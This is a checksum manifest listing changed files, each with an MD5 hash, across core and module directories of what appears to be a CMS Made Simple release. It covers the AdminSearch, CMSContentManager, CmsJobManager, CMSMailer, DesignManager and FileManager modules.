CHANGED :: e94288b0afb7c75a75dcfbac8bdfa5a9 :: \lib\version.php
CHANGED :: 545761c55b4e419da606243336559acc :: \moduleinterface.php
CHANGED :: 9a985c8021622872283435aeba08b3f4 :: \modules\AdminSearch\action.admin_search.php
CHANGED :: 7bcef5b0bea18b757b0988f191dd11ae :: \modules\AdminSearch\action.defaultadmin.php
CHANGED :: 61e6c3a1390109ecc20c6ccba4fc5569 :: \modules\AdminSearch\AdminSearch.module.php
CHANGED :: ddc48c8e206897f653be026e5ea65f89 :: \modules\AdminSearch\changelog.inc
CHANGED :: 1ad00a20d559c94f31cc727350c80ef5 :: \modules\AdminSearch\function.admin_search_tab.php
CHANGED :: 09724f7c4f1398dbd513c2c0ad66b3e5 :: \modules\AdminSearch\images\icon.gif
CHANGED :: 83ff25c7202f78fc11b84586e06bc2b7 :: \modules\AdminSearch\images\icon.png
CHANGED :: 9bd428fea1d89a91d394faf9d23b10b4 :: \modules\AdminSearch\lang\en_US.php
CHANGED :: 9e67d5f347d23613a8f7e54d69c4c68f :: \modules\AdminSearch\lang\ext\da_DK.php
CHANGED :: 9da8c40209ceb97be8aa5da9cde11c93 :: \modules\AdminSearch\lang\ext\de_DE.php
CHANGED :: b3985dbd0add33cb479b46a784347ba6 :: \modules\AdminSearch\lang\ext\es_ES.php
CHANGED :: 077bc28629a1f2aa09d0890e77391e1c :: \modules\AdminSearch\lang\ext\fr_FR.php
CHANGED :: 3b73fc1d3ad59d09771af279602aaeaf :: \modules\AdminSearch\lang\ext\id_ID.php
CHANGED :: 44ca7ca2bcce421615a7fc51a8fecd6f :: \modules\AdminSearch\lang\ext\it_IT.php
CHANGED :: 74e1acbcd2d5555369b45a4560cdff32 :: \modules\AdminSearch\lang\ext\nb_NO.php
CHANGED :: 76df44b76d50deefc3509dce72bfaf8a :: \modules\AdminSearch\lang\ext\nl_NL.php
CHANGED :: 1f603263033593610a4e56eb504b76b1 :: \modules\AdminSearch\lang\ext\ru_RU.php
CHANGED :: d51175c04d0dc4b5ab9d68518026874f :: \modules\AdminSearch\lang\ext\sk_SK.php
CHANGED :: 87523334a954acade639ee82ffd4c6ab :: \modules\AdminSearch\lang\ext\sr_YU.php
CHANGED :: b2de7615b591b0c0dca2a69fd3bb0692 :: \modules\AdminSearch\lang\ext\sv_SE.php
CHANGED :: 9c4c068999cb1defe5bec024aaf675f2 :: \modules\AdminSearch\lang\ext\tr_TR.php
CHANGED :: 87c9bfe59db04249e16e8d52be9fcd29 :: \modules\AdminSearch\lang\ext\uk_UA.php
CHANGED :: 4067921a6b9ccfc48c3d12a85451d84d :: \modules\AdminSearch\lib\admin_search_tab.js
CHANGED :: 1fe1ea9fefa964dfcdcc9ac09f4ca21f :: \modules\AdminSearch\lib\class.AdminSearch_content_slave.php
CHANGED :: c4775543705e5a126c63a534c895f738 :: \modules\AdminSearch\lib\class.AdminSearch_css_slave.php
CHANGED :: 767e4257a66823ff3159e2d9c9f4c1cb :: \modules\AdminSearch\lib\class.AdminSearch_oldmodtemplate_slave.php
CHANGED :: 4efc572732edc56cad729c3e2f9e7e94 :: \modules\AdminSearch\lib\class.AdminSearch_slave.php
CHANGED :: db9206b60f60151759d5ea817ce6631c :: \modules\AdminSearch\lib\class.AdminSearch_template_slave.php
CHANGED :: fe3701791db2cbd023c777107f981402 :: \modules\AdminSearch\lib\class.AdminSearch_tools.php
CHANGED :: aa44a7455b2386199f9fa9356c0c41a4 :: \modules\AdminSearch\lib\class.AdminSearch_usertag_slave.php
CHANGED :: d10079834bb449442e90aea8b25d8ecc :: \modules\AdminSearch\method.install.php
CHANGED :: 63df1736b3cb00966610cf14d24aea86 :: \modules\AdminSearch\method.uninstall.php
CHANGED :: 5321521050bec14140bd4785c361618c :: \modules\AdminSearch\templates\admin_search_tab.tpl
CHANGED :: dd4a69704a48faab9e0344b186d204e3 :: \modules\CMSContentManager\action.admin_ajax_gettemplates.php
CHANGED :: 378c2e9b13bdefe7e6aadfd539b5d015 :: \modules\CMSContentManager\action.admin_ajax_pagelookup.php
CHANGED :: d721eeccc043b324515fa293c63bc10a :: \modules\CMSContentManager\action.admin_bulk_active.php
CHANGED :: 27ba09f8a2f033a1def06b8cbc805d83 :: \modules\CMSContentManager\action.admin_bulk_cachable.php
CHANGED :: e42f36998fad755a78f8c193917c69e1 :: \modules\CMSContentManager\action.admin_bulk_changeowner.php
CHANGED :: ff1e77f8eb15f29aabb3788252f5a124 :: \modules\CMSContentManager\action.admin_bulk_delete.php
CHANGED :: f1d77d49738f150d45c95e1ef0a572ca :: \modules\CMSContentManager\action.admin_bulk_secure.php
CHANGED :: baa30a28b1799df0616bda13a5023abe :: \modules\CMSContentManager\action.admin_bulk_setdesign.php
CHANGED :: 4c0bcf8f990579e964d76549b2adfb98 :: \modules\CMSContentManager\action.admin_bulk_showinmenu.php
CHANGED :: 86cc0349b2addb766f7c2c7efb499cf1 :: \modules\CMSContentManager\action.admin_clearlocks.php
CHANGED :: 47192c524b91e29999a7434aa0e79d1d :: \modules\CMSContentManager\action.admin_copycontent.php
CHANGED :: 92fe8668ac7b24353ad5008933872475 :: \modules\CMSContentManager\action.admin_editcontent.php
CHANGED :: 16e6b608019814ca506e8d7f90d6a823 :: \modules\CMSContentManager\action.admin_general_tab.php
CHANGED :: 65b7d2cb113360c566e7790cb4e55b5e :: \modules\CMSContentManager\action.admin_listsettings_tab.php
CHANGED :: efcd750cefeb07bc4babd69bf53f546d :: \modules\CMSContentManager\action.admin_multicontent.php
CHANGED :: 884b70931b5f4a214a0acb38d992f05f :: \modules\CMSContentManager\action.admin_ordercontent.php
CHANGED :: 87b68b4097d04501ab8e5597a3c0f5f1 :: \modules\CMSContentManager\action.admin_pagedefaults_tab.php
CHANGED :: 1c2bfa390aaf7a357af33ec97621a9fc :: \modules\CMSContentManager\action.admin_pages_tab.php
CHANGED :: 8f60426fa830892412a33e51a36eaaeb :: \modules\CMSContentManager\action.admin_settings.php
CHANGED :: bde2c82c025a675eb1f5e30b9066c0b3 :: \modules\CMSContentManager\action.ajax_get_content.php
CHANGED :: 7b67186ba9799a66f257e578919dfa6b :: \modules\CMSContentManager\action.defaultadmin.php
CHANGED :: b7b1e314614cf326c6e2b6eba1540682 :: \modules\CMSContentManager\changelog.inc
CHANGED :: 2ee6c15427f79de8b14d57b259291244 :: \modules\CMSContentManager\CMSContentManager.module.php
CHANGED :: d32239bcb673463ab874e80d47fae504 :: \modules\CMSContentManager\doc\COPYING
CHANGED :: cc6772d314c8a5543194ba7129578067 :: \modules\CMSContentManager\function.admin_general_tab.php
CHANGED :: 6e431cf797a6c334d79e38aa0860e8f5 :: \modules\CMSContentManager\function.admin_listsettings_tab.php
CHANGED :: ec303764a1444f4fde949f60a9bd5938 :: \modules\CMSContentManager\function.admin_pagedefaults_tab.php
CHANGED :: 9235ac8603d8f859a5ee67f0014e8efc :: \modules\CMSContentManager\images\icon.gif
CHANGED :: e31e398e76a901ea053c00c1d0d25a8f :: \modules\CMSContentManager\images\icon.png
CHANGED :: 0aed6ef222ef7631e43b6544208b86b9 :: \modules\CMSContentManager\lang\en_US.php
CHANGED :: 58eef0a9972195546bb27d05c2735303 :: \modules\CMSContentManager\lang\ext\cs_CZ.php
CHANGED :: 44ac332e00239b2b924ba42bdfac3cff :: \modules\CMSContentManager\lang\ext\da_DK.php
CHANGED :: 062dd7401e909c6020ef7ba86285add5 :: \modules\CMSContentManager\lang\ext\de_DE.php
CHANGED :: 5700acc94b8f956c99430e68d9a32537 :: \modules\CMSContentManager\lang\ext\es_ES.php
CHANGED :: 03aba9a91b7bb9e2028239435e144cfe :: \modules\CMSContentManager\lang\ext\fr_FR.php
CHANGED :: ac30ff52e40f0cdf1936b752887b5713 :: \modules\CMSContentManager\lang\ext\it_IT.php
CHANGED :: 69623f0215eb572c604958673ff5f1a7 :: \modules\CMSContentManager\lang\ext\nb_NO.php
CHANGED :: 8a00316be3705d96119e3868a7c010aa :: \modules\CMSContentManager\lang\ext\nl_NL.php
CHANGED :: 0e74cde7e6787befb97b78d915f50d66 :: \modules\CMSContentManager\lang\ext\pt_PT.php
CHANGED :: 7e5700916982b8b92d56bc4a20d99005 :: \modules\CMSContentManager\lang\ext\ru_RU.php
CHANGED :: 96a9e2668334d9dce45df97f127c6bdc :: \modules\CMSContentManager\lang\ext\sk_SK.php
CHANGED :: f24fe0d76e130a2f737123ca4f04c540 :: \modules\CMSContentManager\lang\ext\sv_SE.php
CHANGED :: a49867c4cdfc7d28404f5b65df508df8 :: \modules\CMSContentManager\lang\ext\tr_TR.php
CHANGED :: 4969e332022a49d5623e4089cd10ce06 :: \modules\CMSContentManager\lang\ext\uk_UA.php
CHANGED :: 0a32124c34ae921704f1dedee67ed1d6 :: \modules\CMSContentManager\lang\ext\zh_TW.php
CHANGED :: 90678efac117ed9b2fdb0348bcdcb82f :: \modules\CMSContentManager\lib\class.CmsContentManagerUtils.php
CHANGED :: 7375054e5059f0ba8e37f74a84e86770 :: \modules\CMSContentManager\lib\class.ContentAssistantFactory.php
CHANGED :: e69aed1720a1b4f5e34dcba08723821a :: \modules\CMSContentManager\lib\class.ContentEditContentAssistant.php
CHANGED :: 7dc94ba0548f0b3be3704039a5d388cc :: \modules\CMSContentManager\lib\class.ContentListBuilder.php
CHANGED :: b1e9caa500ad2ab6f2b620d43b097c83 :: \modules\CMSContentManager\lib\class.EditContentAssistant.php
CHANGED :: ae79691cb22fa174cfa7a6d9cf6fbf35 :: \modules\CMSContentManager\method.install.php
CHANGED :: af21aae7f7effa6681dad118b79eebde :: \modules\CMSContentManager\templates\admin_bulk_changeowner.tpl
CHANGED :: 9ffba5d2e6ed89391fdd73f7b749bf5e :: \modules\CMSContentManager\templates\admin_bulk_delete.tpl
CHANGED :: 6dbfd352d00ee3b8cd60b5612bc66335 :: \modules\CMSContentManager\templates\admin_bulk_setdesign.tpl
CHANGED :: 016d1821247426eba892f2d785a4df61 :: \modules\CMSContentManager\templates\admin_editcontent.tpl
CHANGED :: e9918d14aa82e527501042e92c2401df :: \modules\CMSContentManager\templates\admin_general_tab.tpl
CHANGED :: faa2a5fcd6156882f57b91ab7c4276fe :: \modules\CMSContentManager\templates\admin_listsettings_tab.tpl
CHANGED :: 6fedc3fedfb50d23f0f7ba8d7b11eabb :: \modules\CMSContentManager\templates\admin_ordercontent.tpl
CHANGED :: 3c1ef7bcfaf1dc2fb03298b5a6255647 :: \modules\CMSContentManager\templates\admin_pagedefaults_tab.tpl
CHANGED :: eec64674b277f9b4c6d41c8f3f68c9c4 :: \modules\CMSContentManager\templates\ajax_get_content.tpl
CHANGED :: d1d0c582ad116c73ad8bc8cf234c44dc :: \modules\CMSContentManager\templates\content_editcontent_extra.tpl
CHANGED :: 273d560c5de95dcca7d92e7ac6642639 :: \modules\CMSContentManager\templates\defaultadmin.tpl
CHANGED :: caf437be8e1af21a2ca0f7be140d88ff :: \modules\CmsJobManager\action.defaultadmin.php
CHANGED :: 9c05e13cb2863d8e5da50df378518b71 :: \modules\CmsJobManager\action.process.php
CHANGED :: d39b7dec0d45d9f8a5a8ed6fa885ce07 :: \modules\CmsJobManager\action.test1.php
CHANGED :: faf3d10e395c722585d0bc52132f0a46 :: \modules\CmsJobManager\action.test2.php
CHANGED :: f83a5d0cf747aaf617934956a4e69de7 :: \modules\CmsJobManager\CmsJobManager.module.php
CHANGED :: 0a8de7ae8140905ee417035797db64ad :: \modules\CmsJobManager\event.Core.ModuleUninstalled.php
CHANGED :: 29f1f0f355c79bca70b9eb9892de849b :: \modules\CmsJobManager\lang\en_US.php
CHANGED :: 306c923b389d1f8b2e59099459013006 :: \modules\CmsJobManager\lang\ext\da_DK.php
CHANGED :: e6404d4658f5381bf03cd7dfd22497ee :: \modules\CmsJobManager\lang\ext\de_DE.php
CHANGED :: be949637394ca47dd0315e8a41b3bbf2 :: \modules\CmsJobManager\lang\ext\fr_FR.php
CHANGED :: 46e4c61e30e491b97d7a728c837cc37b :: \modules\CmsJobManager\lang\ext\it_IT.php
CHANGED :: 53436b86e9ed79e76bedfa8c91a18173 :: \modules\CmsJobManager\lang\ext\nb_NO.php
CHANGED :: 93307f0a5b1ed81ba54a38676454aded :: \modules\CmsJobManager\lang\ext\nl_NL.php
CHANGED :: a2dfceebb7e207ab69d4769ac247abea :: \modules\CmsJobManager\lang\ext\ru_RU.php
CHANGED :: 415a97df902d6b2eba86c0cceef0d4e1 :: \modules\CmsJobManager\lang\ext\sv_SE.php
CHANGED :: f62ffa0ce22511c0a4e4b988174edd92 :: \modules\CmsJobManager\lang\ext\uk_UA.php
CHANGED :: 0af5028cd69d65e2c26fe66cb115a070 :: \modules\CmsJobManager\lib\class.JobQueue.php
CHANGED :: 9e6838833f8f14dbc96e25f96ba09a37 :: \modules\CmsJobManager\lib\class.Test1Cron.php
CHANGED :: 89c85777d2a401a336a257168caa0ebf :: \modules\CmsJobManager\lib\class.Test1Job.php
CHANGED :: 22400d78ba9f9db7a476dcc917c5695d :: \modules\CmsJobManager\lib\class.utils.php
CHANGED :: 634fc746f160152372533a91e5a8704f :: \modules\CmsJobManager\method.install.php
CHANGED :: fe3c29514439e7a509e515062df635e3 :: \modules\CmsJobManager\method.uninstall.php
CHANGED :: 7ad18f058a95b154a242c6d9b44c6e73 :: \modules\CmsJobManager\templates\defaultadmin.tpl
CHANGED :: 045e3dae4935e81bf6e921f128be55bb :: \modules\CMSMailer\changelog.inc
CHANGED :: 1bd5a08285ab0dc7633c072347fc9bcf :: \modules\CMSMailer\CMSMailer.module.php
CHANGED :: 6c1b61562cadc4fc4d3b1dcc180e2dfe :: \modules\CMSMailer\images\icon.gif
CHANGED :: de30a1e9b13d3930e9cecf487d1f8662 :: \modules\CMSMailer\lang\en_US.php
CHANGED :: 35d693b3fbf90c3ac0d6cf017938d574 :: \modules\CMSMailer\lang\ext\ar_AR.php
CHANGED :: 40c1ec338992dd59e2d164718520e367 :: \modules\CMSMailer\lang\ext\ca_ES.php
CHANGED :: f4427e13e7af639db7fc6dc078f33c09 :: \modules\CMSMailer\lang\ext\cs_CZ.php
CHANGED :: 3cf51353b22ad07063b0f39b740e0576 :: \modules\CMSMailer\lang\ext\da_DK.php
CHANGED :: b61ea15e890c65afd0ddb20578486680 :: \modules\CMSMailer\lang\ext\de_DE.php
CHANGED :: 44224f2bba9380ee54ee2d28e849d557 :: \modules\CMSMailer\lang\ext\el_GR.php
CHANGED :: 363514d379e4fef1087a8885a9e9e1c4 :: \modules\CMSMailer\lang\ext\en_CY.php
CHANGED :: 10d120d11446a2b34975506912ce8e11 :: \modules\CMSMailer\lang\ext\es_ES.php
CHANGED :: 7006329b80cb740eccc0dcb516077ecb :: \modules\CMSMailer\lang\ext\et_EE.php
CHANGED :: 0e00166cd936e482600a8f0b611181b0 :: \modules\CMSMailer\lang\ext\fa_FA.php
CHANGED :: 0e00166cd936e482600a8f0b611181b0 :: \modules\CMSMailer\lang\ext\fa_IR.php
CHANGED :: 0f3d9ebccbad344a7920a3fcc924ec95 :: \modules\CMSMailer\lang\ext\fi_FI.php
CHANGED :: 4e3b40dd88400203d6f62c9d78b4f422 :: \modules\CMSMailer\lang\ext\fr_FR.php
CHANGED :: 2299e820f01a9e030de552c6aafd06b1 :: \modules\CMSMailer\lang\ext\hr_HR.php
CHANGED :: 972e5c4a63a2d640d33fe4cc5218fb9c :: \modules\CMSMailer\lang\ext\hu_HU.php
CHANGED :: fd7ae96b474a9fcd4977710876b200cc :: \modules\CMSMailer\lang\ext\id_ID.php
CHANGED :: 0d422eba9293156f5b179ede8861f422 :: \modules\CMSMailer\lang\ext\it_IT.php
CHANGED :: bc681a824c05b9838a13fd757b30bb70 :: \modules\CMSMailer\lang\ext\iw_IL.php
CHANGED :: 5988dda0a28677bcdff49cbdc591f04b :: \modules\CMSMailer\lang\ext\ja_JP.php
CHANGED :: b76706a1de1ea3ad8deb2041c3cc4326 :: \modules\CMSMailer\lang\ext\lt_LT.php
CHANGED :: bb65fe76c3b9dd4aebfd99f27db1dfa5 :: \modules\CMSMailer\lang\ext\nb_NO.php
CHANGED :: 623dc08789dcb1c5ad5b357f4bf0e97b :: \modules\CMSMailer\lang\ext\nl_NL.php
CHANGED :: ae5907f320b0046afac9af1dfcfc6017 :: \modules\CMSMailer\lang\ext\pl_PL.php
CHANGED :: 4f1fb4663fa5a140a677912cdb8fb465 :: \modules\CMSMailer\lang\ext\pt_BR.php
CHANGED :: b712cff187c2d6f4b836208352a423ba :: \modules\CMSMailer\lang\ext\pt_PT.php
CHANGED :: 65e46c2fd0c1e13a5b4674a24fd877e9 :: \modules\CMSMailer\lang\ext\ro_RO.php
CHANGED :: f380d84a83be76c73f9d44fde4359c4b :: \modules\CMSMailer\lang\ext\ru_RU.php
CHANGED :: 031fb8c9923dc7e32efcec19d09db462 :: \modules\CMSMailer\lang\ext\sk_SK.php
CHANGED :: 285ebed7454ed1349fc45fcbe4d5aec3 :: \modules\CMSMailer\lang\ext\sl_SI.php
CHANGED :: e33ceb4f6d5af1146662b64b4fe514ba :: \modules\CMSMailer\lang\ext\sr_YU.php
CHANGED :: 53bd53495c2a410daf95b32d45345424 :: \modules\CMSMailer\lang\ext\sv_SE.php
CHANGED :: 4e9ea4953340383035ce7c10365d9570 :: \modules\CMSMailer\lang\ext\tr_TR.php
CHANGED :: d46354812db6a1c2504a2ddfedbd84e4 :: \modules\CMSMailer\lang\ext\uk_UA.php
CHANGED :: be790a765a9e890a9a84e5d8e9d81c35 :: \modules\CMSMailer\lang\ext\zh_TW.php
CHANGED :: e0daeb15c0a6f34acb3e48d06c97a25e :: \modules\CMSMailer\templates\error.tpl
CHANGED :: 3b2a2a02ea5087b87991e75e225e6187 :: \modules\CMSMailer\templates\prefs.tpl
CHANGED :: be4c4c659987f1f0d4d11307b1ee2fb9 :: \modules\DesignManager\action.admin_bulk_css.php
CHANGED :: 00c49f1517e75f80070f2041a044a864 :: \modules\DesignManager\action.admin_bulk_template.php
CHANGED :: 4b9c36a32780abcbb5e0728364556bd9 :: \modules\DesignManager\action.admin_clearlocks.php
CHANGED :: 8d1e54817b6a0c9c4e163ff9d1a36562 :: \modules\DesignManager\action.admin_copy_css.php
CHANGED :: 1e7de0c68cf887ed56aa1cf075788d80 :: \modules\DesignManager\action.admin_copy_template.php
CHANGED :: 67f287c0acaab8d1dd5d125bde4fd173 :: \modules\DesignManager\action.admin_delete_category.php
CHANGED :: bc4ce578e4d7563156aeec2ce21751ec :: \modules\DesignManager\action.admin_delete_css.php
CHANGED :: 2311e5cf9b78d73ee99674f90c9ddfd4 :: \modules\DesignManager\action.admin_delete_design.php
CHANGED :: 5a8d087b8449a23e588a04e01c7d3ab4 :: \modules\DesignManager\action.admin_delete_template.php
CHANGED :: 669849682dafecf964110e87e62fb256 :: \modules\DesignManager\action.admin_edit_category.php
CHANGED :: 0a0e77ce9afadf2c00e22f58243131aa :: \modules\DesignManager\action.admin_edit_css.php
CHANGED :: b2ad9f68596df89e1362a1c962d4e717 :: \modules\DesignManager\action.admin_edit_design.php
CHANGED :: f2d6600a1d4c2d4b1fc1d85e0c4c14de :: \modules\DesignManager\action.admin_edit_template.php
CHANGED :: 8fa266c65bbe26b282e13dda327e9a19 :: \modules\DesignManager\action.admin_edit_type.php
CHANGED :: da5d73e8f7ce309b402dd347e5172cff :: \modules\DesignManager\action.admin_export_design.php
CHANGED :: 3ce1206cfbbba903948cf1033d154d0f :: \modules\DesignManager\action.admin_import_design.php
CHANGED :: 3ab7460e6c463c8a5a384bb20928777e :: \modules\DesignManager\action.admin_reset_type.php
CHANGED :: cf997507e92a83b47130008e127fd4de :: \modules\DesignManager\action.admin_settings.php
CHANGED :: 37cdbf4585cf9cc4072f99761772c364 :: \modules\DesignManager\action.ajax_get_stylesheets.php
CHANGED :: f6754fbe2bdbc3c12e99d2c4e2ff5fbf :: \modules\DesignManager\action.ajax_get_templates.php
CHANGED :: bc279d3beec34d12a98cccd2e5b7f7f2 :: \modules\DesignManager\action.ajax_order_cats.php
CHANGED :: 29bcb6be219814ea09d16a9ded782a20 :: \modules\DesignManager\action.defaultadmin.php
CHANGED :: 00da815bc1244e0eeba01372f82d1627 :: \modules\DesignManager\changelog.inc
CHANGED :: a5195e7d3baff7fad58b5e2bd6f7ce4a :: \modules\DesignManager\DesignManager.module.php
CHANGED :: 7194d60abb1b20600557574ac9c1d8bd :: \modules\DesignManager\icons\down.gif
CHANGED :: 82e3cc641e50a1c0e5f3c6efdc5f5667 :: \modules\DesignManager\icons\left.gif
CHANGED :: 8c3898e1f5faeed0ec7021bdf38a2f11 :: \modules\DesignManager\icons\right.gif
CHANGED :: 82da2ad0214b5202d95636a480fe1a33 :: \modules\DesignManager\icons\up.gif
CHANGED :: 678ee8009ec6c59fbec098cc716b3c37 :: \modules\DesignManager\images\icon.gif
CHANGED :: 7151b3e216c3dfa71e19714d4a2a0d75 :: \modules\DesignManager\images\icon.png
CHANGED :: 724358f9b10c77ce481052bbd31826a3 :: \modules\DesignManager\lang\en_US.php
CHANGED :: 2794209d3c7c4930ca167078fe483a7f :: \modules\DesignManager\lang\ext\cs_CZ.php
CHANGED :: 99e2fe0d2e2c144629bb002690a23254 :: \modules\DesignManager\lang\ext\da_DK.php
CHANGED :: c1e75e8a8173d6c8d1ce4e9c5e109bd2 :: \modules\DesignManager\lang\ext\de_DE.php
CHANGED :: 318b518c2a4ab7e0455ed34e6df10376 :: \modules\DesignManager\lang\ext\fr_FR.php
CHANGED :: 190089801383bc5de93650cf2a003d4f :: \modules\DesignManager\lang\ext\it_IT.php
CHANGED :: fd126a3dbad37f695c18f085c85b16f5 :: \modules\DesignManager\lang\ext\nb_NO.php
CHANGED :: 17e5c7e7a27d776c3d8c14e8af91c1f0 :: \modules\DesignManager\lang\ext\nl_NL.php
CHANGED :: a822dd9c4aa6b3c979c57629d6aadfd7 :: \modules\DesignManager\lang\ext\ru_RU.php
CHANGED :: 2bb950fdf8eeec03c2305aee2c11d86b :: \modules\DesignManager\lang\ext\tr_TR.php
CHANGED :: ac32528a974d9154e8543bc5475ea047 :: \modules\DesignManager\lang\ext\uk_UA.php
CHANGED :: d716c59031398f3cf1dcf47c083c5b86 :: \modules\DesignManager\lang\ext\zh_TW.php
CHANGED :: b55549cca306c3802680714a5d9f6738 :: \modules\DesignManager\lib\class.dm_design_exporter.php
CHANGED :: 16a29c60d965a94cbc000aa66e53f094 :: \modules\DesignManager\lib\class.dm_design_reader.php
CHANGED :: 4339281ca0bdcca37d008fd58bfd56f4 :: \modules\DesignManager\lib\class.dm_reader_base.php
CHANGED :: f2cd97a605a882fd89087c32b1131690 :: \modules\DesignManager\lib\class.dm_reader_factory.php
CHANGED :: 4b36dbfa84b03a83e6ca8b637c4288f8 :: \modules\DesignManager\lib\class.dm_theme_reader.php
CHANGED :: b4f13d5caa51ec87e1073ad0e3ed54c2 :: \modules\DesignManager\lib\class.dm_utils.php
CHANGED :: d70aed531cf3bc1c3a57a06d63a55557 :: \modules\DesignManager\lib\class.dm_xml_reader.php
CHANGED :: 34ea00b175b6517707019a1256528e4b :: \modules\DesignManager\method.install.php
CHANGED :: e977b5b6e38299771037f3b1f3457054 :: \modules\DesignManager\method.uninstall.php
CHANGED :: 40d17538cc429cb409368f4007986093 :: \modules\DesignManager\templates\admin_bulk_css.tpl
CHANGED :: b9492c65939a135949650447a11321cc :: \modules\DesignManager\templates\admin_bulk_template.tpl
CHANGED :: 32c430a0f03d951ba94dd40f458a7382 :: \modules\DesignManager\templates\admin_copy_css.tpl
CHANGED :: 404187057d3abc4fa45766032a053bb2 :: \modules\DesignManager\templates\admin_copy_template.tpl
CHANGED :: f479f23b393778f06aa35d0ad1987e56 :: \modules\DesignManager\templates\admin_defaultadmin_categories.tpl
CHANGED :: aaebc1ee83b5a0604b6a09c95163e09b :: \modules\DesignManager\templates\admin_defaultadmin_csstooltip.tpl
CHANGED :: bcdb7b2ba7e38ffd3e168debc36c1074 :: \modules\DesignManager\templates\admin_defaultadmin_designs.tpl
CHANGED :: 1de3b6e4308f9ec156accc51c7308d37 :: \modules\DesignManager\templates\admin_defaultadmin_stylesheets.tpl
CHANGED :: 2ba10f3be90997f47f0aa8bc1b717a8e :: \modules\DesignManager\templates\admin_defaultadmin_templates.tpl
CHANGED :: b03422c34e13e5d696df33c4c1a28a46 :: \modules\DesignManager\templates\admin_defaultadmin_tpltooltip.tpl
CHANGED :: 672bce691118aaf8fabda7739e79a0c4 :: \modules\DesignManager\templates\admin_defaultadmin_tpltype_tooltip.tpl
CHANGED :: 104546a5ce2b24d0ca2032a56a4b1ae5 :: \modules\DesignManager\templates\admin_defaultadmin_types.tpl
CHANGED :: 96317bb3ec9bacd9c6fc5bec63d12538 :: \modules\DesignManager\templates\admin_delete_css.tpl
CHANGED :: 776b6f1db5c7ae323a2495dbe0a48077 :: \modules\DesignManager\templates\admin_delete_design.tpl
CHANGED :: 29292a48684bd6e2373f4d7d9ce0037e :: \modules\DesignManager\templates\admin_delete_template.tpl
CHANGED :: 3553606f5e93525352c4f1e004040e9e :: \modules\DesignManager\templates\admin_edit_category.tpl
CHANGED :: 220fba74038147ced703c43e3d449ddd :: \modules\DesignManager\templates\admin_edit_css.tpl
CHANGED :: 647665e2745e121d22ab42db2d881afa :: \modules\DesignManager\templates\admin_edit_design.tpl
CHANGED :: 97b6aeb1b4d53266008817c999dee995 :: \modules\DesignManager\templates\admin_edit_design_stylesheets.tpl
CHANGED :: 3eb814ab7cbbce2f74c1d583058bff4a :: \modules\DesignManager\templates\admin_edit_design_templates.tpl
CHANGED :: 5af585d8b272871b1815fd9474785a30 :: \modules\DesignManager\templates\admin_edit_template.tpl
CHANGED :: b76a4af1dd6ec4a23a505334277d5d7b :: \modules\DesignManager\templates\admin_edit_type.tpl
CHANGED :: 454589d38f69195410440ad02346045d :: \modules\DesignManager\templates\admin_import_design.tpl
CHANGED :: d9721f224398b4276719f215da164d01 :: \modules\DesignManager\templates\admin_import_design2.tpl
CHANGED :: 22eb030b51dce55ed65e29e10b11db0e :: \modules\DesignManager\templates\admin_settings.tpl
CHANGED :: 2f566124b6d3bc9a3acb712056dd518a :: \modules\DesignManager\templates\admin_set_all_pages.tpl
CHANGED :: c47acc5e199613700d68900bbd4e0892 :: \modules\DesignManager\templates\ajax_get_stylesheets.tpl
CHANGED :: 916b4c332f0967bcf79b8025d744a2cf :: \modules\DesignManager\templates\ajax_get_templates.tpl
CHANGED :: 4b141d0fee4f016a017ce16a4ebe2e14 :: \modules\DesignManager\templates\defaultadmin.tpl
CHANGED :: d0e30807e1053b8295d05efcb41d1d6e :: \modules\FileManager\.htaccess
CHANGED :: 5edeec585e57bb71bf619f185dc1bba3 :: \modules\FileManager\action.admin_fileview.php
CHANGED :: b950dd0bc0476c4ea49e290f6b883aee :: \modules\FileManager\action.admin_settings.php
CHANGED :: 32640c2dfd85562f3e922e0c97ab75f7 :: \modules\FileManager\action.changedir.php
CHANGED :: 41e4689aca69452b67cd7b1690a4cb96 :: \modules\FileManager\action.chmoddir.php
CHANGED :: 632cf0e30e406cfdde4624c8ca18cf61 :: \modules\FileManager\action.chmodfile.php
CHANGED :: 118e09089c50f0744a13bad3f434c7af :: \modules\FileManager\action.chmodfilewin.php
CHANGED :: 1115efc33a5682f632e6cd70efbfd931 :: \modules\FileManager\action.copy.php
CHANGED :: 6c9990990b3a171d5d9ddb780196221c :: \modules\FileManager\action.defaultadmin.php
CHANGED :: 2cd3e7406dccd0957feb81f14cfeee5d :: \modules\FileManager\action.delete.php
CHANGED :: 5856fbb77cf673b048f6761353e84d14 :: \modules\FileManager\action.dropzone.php
CHANGED :: 38ac110867d2857252692df4e75498b4 :: \modules\FileManager\action.fileaction.php
CHANGED :: 05facb91f9ad3d1084789120051bcbeb :: \modules\FileManager\action.javascript.php
CHANGED :: 251636cdb4e106ebef348dcb98fd3c2c :: \modules\FileManager\action.move.php
CHANGED :: 222707365a34d8502d1166df422c51c2 :: \modules\FileManager\action.newdir.php
CHANGED :: 8c2e343f34b7bb8b61b766a88c1db11c :: \modules\FileManager\action.rename.php
CHANGED :: 359c5f1f6ae03f5fb84e6cbfd1f4213f :: \modules\FileManager\action.resizecrop.php
CHANGED :: d9263e8baf869790cf5270fd27a6d281 :: \modules\FileManager\action.rotate.php
CHANGED :: f0d7a0f6291acc4ea97e3534cb6c6e58 :: \modules\FileManager\action.savesettings.php
CHANGED :: 3056bc4c732feb56cba9123974b48164 :: \modules\FileManager\action.thumb.php
CHANGED :: 8da2ee1de88933048c00f670a11479b6 :: \modules\FileManager\action.unpack.php
CHANGED :: 2f3a93ef7d52ea7cd7c9dca720ab5335 :: \modules\FileManager\action.upload.php
CHANGED :: c6f7789952be90693ab767ab41c8e757 :: \modules\FileManager\action.view.php
CHANGED :: 76ffe01d5e53072b376d140c1a128846 :: \modules\FileManager\dunzip.php
CHANGED :: 89e1cc7a049f1c0f26178fd0ac14d00d :: \modules\FileManager\easyarchives\EasyArchive.class.php
CHANGED :: bce88efadf02463e3a470d0c40f065ea :: \modules\FileManager\easyarchives\EasyBzip2.class.php
CHANGED :: 6e08434b6a6e3cdb9cd031c602efa916 :: \modules\FileManager\easyarchives\EasyGzip.class.php
CHANGED :: 36d880f34fcab8c0fc0ff5a1a44d72bb :: \modules\FileManager\easyarchives\EasyTar.class.php
CHANGED :: 65cce2894e22141d126504d761e7b7e9 :: \modules\FileManager\easyarchives\EasyZip.class.php
CHANGED :: bb071bac4d81ac307e170d62ec9e7ae1 :: \modules\FileManager\fileinfo.php
CHANGED :: 0986753b5a54f7af11090c6ccb646539 :: \modules\FileManager\FileManager.module.php
CHANGED :: c818af7320a7b51349a9ccfcaa518047 :: \modules\FileManager\filepicker.css
